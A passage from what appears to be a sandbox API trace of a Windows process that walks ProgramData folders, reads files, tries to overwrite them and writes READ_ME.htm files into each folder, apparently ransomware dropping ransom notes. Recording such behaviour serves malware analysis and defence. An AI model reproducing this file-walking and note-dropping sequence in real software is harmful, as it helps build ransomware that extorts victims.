ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0138.654] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.655] SetErrorMode (uMode=0x0) returned 0x1 [0138.655] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0138.655] SetErrorMode (uMode=0x1) returned 0x0 [0138.655] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.674] GetFileType (hFile=0x1d0) returned 0x1 [0138.674] SetErrorMode (uMode=0x0) returned 0x1 [0138.674] GetFileType (hFile=0x1d0) returned 0x1 [0138.674] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x536 [0138.674] ReadFile (in: hFile=0x1d0, lpBuffer=0x2975408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2975408*, lpNumberOfBytesRead=0x21d358*=0x536, lpOverlapped=0x0) returned 1 [0138.677] CloseHandle (hObject=0x1d0) returned 1 [0138.767] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0138.767] SetErrorMode (uMode=0x1) returned 0x0 [0138.768] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.791] SetErrorMode (uMode=0x0) returned 0x1 [0138.795] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0138.795] SetErrorMode (uMode=0x1) returned 0x0 [0138.796] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.797] GetFileType (hFile=0x1d0) returned 0x1 [0138.797] SetErrorMode (uMode=0x0) returned 0x1 [0138.797] GetFileType (hFile=0x1d0) returned 0x1 [0138.797] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x3473 [0138.797] ReadFile (in: hFile=0x1d0, lpBuffer=0x2859228, nNumberOfBytesToRead=0x3473, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2859228*, lpNumberOfBytesRead=0x21d358*=0x3473, lpOverlapped=0x0) returned 1 [0138.802] CloseHandle (hObject=0x1d0) returned 1 [0138.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0138.898] SetErrorMode (uMode=0x1) returned 0x0 [0138.898] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.901] SetErrorMode (uMode=0x0) returned 0x1 [0138.903] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0138.904] SetErrorMode (uMode=0x1) returned 0x0 [0138.904] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0138.905] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0138.905] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.905] SetErrorMode (uMode=0x0) returned 0x1 [0138.906] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0138.906] SetErrorMode (uMode=0x1) returned 0x0 [0138.906] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.906] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.907] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0138.907] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0138.907] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.907] SetErrorMode (uMode=0x0) returned 0x1 [0138.907] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0138.908] SetErrorMode (uMode=0x1) returned 0x0 [0138.908] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0138.909] GetFileType (hFile=0x1d0) returned 0x1 [0138.909] SetErrorMode (uMode=0x0) returned 0x1 [0138.909] GetFileType (hFile=0x1d0) returned 0x1 [0138.909] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x536 [0138.909] ReadFile (in: hFile=0x1d0, lpBuffer=0x2950460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2950460*, lpNumberOfBytesRead=0x21d298*=0x536, lpOverlapped=0x0) returned 1 [0138.911] CloseHandle (hObject=0x1d0) returned 1 [0138.997] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0138.997] SetErrorMode (uMode=0x1) returned 0x0 [0138.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0139.012] SetErrorMode (uMode=0x0) returned 0x1 [0139.016] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.016] SetErrorMode (uMode=0x1) returned 0x0 [0139.016] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.017] GetFileType (hFile=0x1d0) returned 0x1 [0139.017] SetErrorMode (uMode=0x0) returned 0x1 [0139.017] GetFileType (hFile=0x1d0) returned 0x1 [0139.017] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a36fc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a36fc0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0139.019] CloseHandle (hObject=0x1d0) returned 1 [0139.019] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0139.019] SetErrorMode (uMode=0x1) returned 0x0 [0139.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.020] GetFileType (hFile=0x1d0) returned 0x1 [0139.020] SetErrorMode (uMode=0x0) returned 0x1 [0139.020] GetFileType (hFile=0x1d0) returned 0x1 [0139.020] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a3b600*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a3b600*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.022] CloseHandle (hObject=0x1d0) returned 1 [0139.022] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0139.023] SetErrorMode (uMode=0x1) returned 0x0 [0139.023] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0139.050] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0139.050] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0139.051] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0139.052] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.053] SetErrorMode (uMode=0x0) returned 0x1 [0139.053] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0139.053] SetErrorMode (uMode=0x1) returned 0x0 [0139.053] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.055] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.055] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0139.055] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, 